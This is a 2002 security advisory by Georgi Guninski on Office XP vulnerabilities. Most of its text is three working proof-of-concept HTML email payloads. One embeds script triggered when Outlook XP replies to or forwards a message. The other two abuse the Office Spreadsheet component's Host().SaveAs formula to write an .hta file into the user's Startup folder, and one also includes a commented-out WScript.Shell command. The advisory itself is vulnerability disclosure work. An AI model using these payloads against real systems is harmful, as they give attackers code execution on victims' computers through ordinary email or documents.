Georgi Guninski security advisory #53 Version 2.0, 2002 More Office XP problems Systems affected: Office XP Risk: High Date: 31 March 2002 Updated: 3 April 2002 (check corrections, 3 is added) Legal Notice: This Advisory is Copyright (c) 2002 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission. If you want to link to this content use the URL: http://www.guninski.com/m$oxp-2.html Disclaimer: The information in this advisory is believed to be true though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Corrections: (made on 3 April 2002) At http://www.idg.net/ic_840081_1794_9-10000.html is written: ----------------- As for the second vulnerability, Microsoft said it does "not as yet have a work-around for the second issue, but note that even in the worst case it could only be used to create files -- not to execute them or take any other action on the user's computer." ----------------- I don't agree with this statement - execution of code in this case is easy. I am waiting for a official reply from them. The following testcase (3) shows that arbitrary may be executed. 3. The following must be put in HTML email which should be opened with Outlook XP and the user should chose reply or forward. Probably it may also be embeded in .doc or .xls file. The effect is shown after the user logouts and logins again. ---------------------------------------- <h1> Hehe. Trying to sell trustworthy computing. </h1> <object classid="CLSID:0002E551-0000-0000-C000-000000000046" id=Spreadsheet1 v:shapes="_x0000_s1026" class=shape width=81 height=81 u1:shapes="_x0000_s1025"> <param name=DataType value=XMLURL> <param name=XMLData value="<?xml version="1.0"?> <ss:Workbook xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" xmlns:c="urn:schemas-microsoft-com:office:component:spreadsheet" xmlns:html="http://www.w3.org/TR/REC-html40"> <x:ExcelWorkbook> <x:ProtectStructure>False</x:ProtectStructure> <x:ActiveSheet>0</x:ActiveSheet> </x:ExcelWorkbook> <ss:Styles> <ss:Style ss:ID="Default"> <ss:Alignment ss:Horizontal="Automatic" ss:Rotate="0.0" ss:Vertical="Bottom" ss:ReadingOrder="Context"/> <ss:Borders> </ss:Borders> <ss:Font ss:FontName="Arial" ss:Size="10" ss:Color="Automatic" ss:Bold="0" ss:Italic="0" ss:Underline="None"/> <ss:Interior ss:Color="Automatic" ss:Pattern="None"/> <ss:NumberFormat ss:Format="General"/> <ss:Protection ss:Protected="1"/> </ss:Style> </ss:Styles> <c:ComponentOptions> <c:Label> <c:Caption>Microsoft Office Spreadsheet</c:Caption> </c:Label> <c:PreventPropBrowser/> <c:MaxHeight>80%</c:MaxHeight> <c:MaxWidth>80%</c:MaxWidth> <c:NextSheetNumber>1</c:NextSheetNumber> </c:ComponentOptions> <x:WorkbookOptions> <c:OWCVersion>10.0.0.2621 </c:OWCVersion> <x:DisableUndo/> </x:WorkbookOptions> <ss:Worksheet ss:Name="Sheet1"> <x:WorksheetOptions> <x:Selected/> <x:ViewableRange>R1:R262144</x:ViewableRange> <x:Selection>R1C1</x:Selection> <x:TopRowVisible>0</x:TopRowVisible> <x:LeftColumnVisible>0</x:LeftColumnVisible> <x:ProtectContents>False</x:ProtectContents> </x:WorksheetOptions> <c:WorksheetOptions> </c:WorksheetOptions> <ss:Table ss:ExpandedColumnCount="1" ss:ExpandedRowCount="1" ss:DefaultColumnWidth="48.0" ss:DefaultRowHeight="12.75"> <ss:Row> <ss:Cell ss:Formula='=HOST().SaveAs("../Start Menu/Programs/StartUp/gggg5.hta",8)'> <ss:Data ss:Type="Boolean">1</ss:Data> </ss:Cell> </ss:Row> </ss:Table> </ss:Worksheet> <ss:Worksheet ss:Name="Sheet2"> <x:WorksheetOptions> <x:ViewableRange>R1:R262144</x:ViewableRange> <x:Selection>R1C1</x:Selection> <x:TopRowVisible>0</x:TopRowVisible> <x:LeftColumnVisible>0</x:LeftColumnVisible> <x:ProtectContents>False</x:ProtectContents> </x:WorksheetOptions> <c:WorksheetOptions> </c:WorksheetOptions> </ss:Worksheet> <ss:Worksheet ss:Name="Sheet3"> <x:WorksheetOptions> <x:ViewableRange>R1:R262144</x:ViewableRange> <x:Selection>R1C1</x:Selection> <x:TopRowVisible>0</x:TopRowVisible> <x:LeftColumnVisible>0</x:LeftColumnVisible> <x:ProtectContents>False</x:ProtectContents> </x:WorksheetOptions> <c:WorksheetOptions> </c:WorksheetOptions> </ss:Worksheet> <o:DocumentProperties> <o:Author>ad</o:Author> <o:LastAuthor>ad</o:LastAuthor> <o:Created>2002-03-17T12:07:37Z</o:Created> <o:Company>g</o:Company> <o:Version>10.2625</o:Version> </o:DocumentProperties> <o:OfficeDocumentSettings> <o:DownloadComponents/> <o:LocationOfComponents HRef="file:///E:\"/> </o:OfficeDocumentSettings> </ss:Workbook> "> <param name=AllowPropertyToolbox value=0> <param name=AutoFit value=0> <param name=Calculation value=-4105> <param name=Caption value="Microsoft Office Spreadsheet"> <param name=DisplayColumnHeadings value=-1> <param name=DisplayGridlines value=-1> <param name=DisplayHorizontalScrollBar value=-1> <param name=DisplayOfficeLogo value=-1> <param name=DisplayPropertyToolbox value=0> <param name=DisplayRowHeadings value=-1> <param name=DisplayTitleBar value=0> <param name=DisplayToolbar value=-1> <param name=DisplayVerticalScrollBar value=-1> <param name=DisplayWorkbookTabs value=-1> <param name=EnableEvents value=-1> <param name=MaxHeight value="80%"> <param name=MaxWidth value="80%"> <param name=MoveAfterReturn value=-1> <param name=MoveAfterReturnDirection value=-4121> <param name=RightToLeft value=0> <param name=ScreenUpdating value=-1> <param name=EnableUndo value=0> </object> <script> i=3; while (i--) confirm("Trustworthy?"); //x=new ActiveXObject("WScript.Shell"); //x.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /C DIR C:\\ /a /p /s"); </script> ------------------------------------------ Description: Actually there are at least two vulnerabilities in Office XP. 1. It is possible to embed active content (object + script) in HTML mail which is triggered if the user choses reply or forward to the mail. This opens an exploit scenario for forcing the user to visit a page in the internet zone of IE at least. For another exploit scenario check (2) 2. There is a bug in ms spreadsheet compononent. Namely in its Host() function which may be exploited with the help of (1) or probably from any document opened with Office application. This buggy function allows creating files with arbitrary names and their content may be specified to some extent at which is sufficient to place an executable file (.hta) in user's startup directory which may lead to taking full control over user's computer. This probably may be called cross application scripting because one application uses object from another application. Details: The following must be put in HTML email which should be opened with Outlook XP and the user should chose reply or forward. 1. -------------------------------------- <OBJECT id=WebBrowser1 height=150 width=300 classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2> <PARAM NAME="ExtentX" VALUE="7938"> <PARAM NAME="ExtentY" VALUE="3969"> <PARAM NAME="ViewMode" VALUE="0"> <PARAM NAME="Offline" VALUE="0"> <PARAM NAME="Silent" VALUE="0"> <PARAM NAME="RegisterAsBrowser" VALUE="1"> <PARAM NAME="RegisterAsDropTarget" VALUE="1"> <PARAM NAME="AutoArrange" VALUE="0"> <PARAM NAME="NoClientEdge" VALUE="0"> <PARAM NAME="AlignLeft" VALUE="0"> <PARAM NAME="ViewID" VALUE="{0057D0E0-3573-11CF-AE69-08002B2E1262}"> <PARAM NAME="Location" VALUE="about:/dev/random<script>while (42) alert('HOHOHO\nTrying to sell trustworthy computing\nHOHOHO')</script>"> <PARAM NAME="ReadyState" VALUE="4"> </OBJECT> ------------------------------------- 2. The office spreadsheet component is something like mini excel. It may be embeded in web pages (seems not exploitable) and in office documents (seems exploitable). It supports the Host() function which returns the hosting object. So if you put in formula '=Host().SaveAs("name")' file with name shall be created. [Note, lines may be wrapped] --------------------------------------- <h1> Hehe. Triyng to sell trustworthy computing. </h1> <object classid="CLSID:0002E551-0000-0000-C000-000000000046" id=Spreadsheet1 v:shapes="_x0000_s1026" class=shape width=81 height=81 u1:shapes="_x0000_s1025"> <param name=DataType value=XMLURL> <param name=XMLData value="<?xml version="1.0"?> <ss:Workbook xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" xmlns:c="urn:schemas-microsoft-com:office:component:spreadsheet" xmlns:html="http://www.w3.org/TR/REC-html40"> <x:ExcelWorkbook> <x:ProtectStructure>False</x:ProtectStructure> <x:ActiveSheet>0</x:ActiveSheet> </x:ExcelWorkbook> <ss:Styles> <ss:Style ss:ID="Default"> <ss:Alignment ss:Horizontal="Automatic" ss:Rotate="0.0" ss:Vertical="Bottom" ss:ReadingOrder="Context"/> <ss:Borders> </ss:Borders> <ss:Font ss:FontName="Arial" ss:Size="10" ss:Color="Automatic" ss:Bold="0" ss:Italic="0" ss:Underline="None"/> <ss:Interior ss:Color="Automatic" ss:Pattern="None"/> <ss:NumberFormat ss:Format="General"/> <ss:Protection ss:Protected="1"/> </ss:Style> </ss:Styles> <c:ComponentOptions> <c:Label> <c:Caption>Microsoft Office Spreadsheet</c:Caption> </c:Label> <c:PreventPropBrowser/> <c:MaxHeight>80%</c:MaxHeight> <c:MaxWidth>80%</c:MaxWidth> <c:NextSheetNumber>1</c:NextSheetNumber> </c:ComponentOptions> <x:WorkbookOptions> <c:OWCVersion>10.0.0.2621 </c:OWCVersion> <x:DisableUndo/> </x:WorkbookOptions> <ss:Worksheet ss:Name="Sheet1"> <x:WorksheetOptions> <x:Selected/> <x:ViewableRange>R1:R262144</x:ViewableRange> <x:Selection>R1C1</x:Selection> <x:TopRowVisible>0</x:TopRowVisible> <x:LeftColumnVisible>0</x:LeftColumnVisible> <x:ProtectContents>False</x:ProtectContents> </x:WorksheetOptions> <c:WorksheetOptions> </c:WorksheetOptions> <ss:Table ss:ExpandedColumnCount="1" ss:ExpandedRowCount="1" ss:DefaultColumnWidth="48.0" ss:DefaultRowHeight="12.75"> <ss:Row> <ss:Cell ss:Formula='=HOST().SaveAs("C:\GGGG5")'> <ss:Data ss:Type="Boolean">1</ss:Data> </ss:Cell> </ss:Row> </ss:Table> </ss:Worksheet> <ss:Worksheet ss:Name="Sheet2"> <x:WorksheetOptions> <x:ViewableRange>R1:R262144</x:ViewableRange> <x:Selection>R1C1</x:Selection> <x:TopRowVisible>0</x:TopRowVisible> <x:LeftColumnVisible>0</x:LeftColumnVisible> <x:ProtectContents>False</x:ProtectContents> </x:WorksheetOptions> <c:WorksheetOptions> </c:WorksheetOptions> </ss:Worksheet> <ss:Worksheet ss:Name="Sheet3"> <x:WorksheetOptions> <x:ViewableRange>R1:R262144</x:ViewableRange> <x:Selection>R1C1</x:Selection> <x:TopRowVisible>0</x:TopRowVisible> <x:LeftColumnVisible>0</x:LeftColumnVisible> <x:ProtectContents>False</x:ProtectContents> </x:WorksheetOptions> <c:WorksheetOptions> </c:WorksheetOptions> </ss:Worksheet> <o:DocumentProperties> <o:Author>ad</o:Author> <o:LastAuthor>ad</o:LastAuthor> <o:Created>2002-03-17T12:07:37Z</o:Created> <o:Company>g</o:Company> <o:Version>10.2625</o:Version> </o:DocumentProperties> <o:OfficeDocumentSettings> <o:DownloadComponents/> <o:LocationOfComponents HRef="file:///E:\"/> </o:OfficeDocumentSettings> </ss:Workbook> "> <param name=AllowPropertyToolbox value=0> <param name=AutoFit value=0> <param name=Calculation value=-4105> <param name=Caption value="Microsoft Office Spreadsheet"> <param name=DisplayColumnHeadings value=-1> <param name=DisplayGridlines value=-1> <param name=DisplayHorizontalScrollBar value=-1> <param name=DisplayOfficeLogo value=-1> <param name=DisplayPropertyToolbox value=0> <param name=DisplayRowHeadings value=-1> <param name=DisplayTitleBar value=0> <param name=DisplayToolbar value=-1> <param name=DisplayVerticalScrollBar value=-1> <param name=DisplayWorkbookTabs value=-1> <param name=EnableEvents value=-1> <param name=MaxHeight value="80%"> <param name=MaxWidth value="80%"> <param name=MoveAfterReturn value=-1> <param name=MoveAfterReturnDirection value=-4121> <param name=RightToLeft value=0> <param name=ScreenUpdating value=-1> <param name=EnableUndo value=0> </object> --------------------------------- Workaround/Solution: The solution is to get a real mail client and office applications. Workaround for this particular problem is: For (1) - disable everything that contains "active" in IE. For (2) and (3) - (Have not tested it personally) Deregister and delete the ms office spreadsheet component Vendor status: Microsoft was notified on 17 March 2002. They had 2 weeks to produce a patch but didn't. Regards, Georgi Guninski http://www.guninski.com
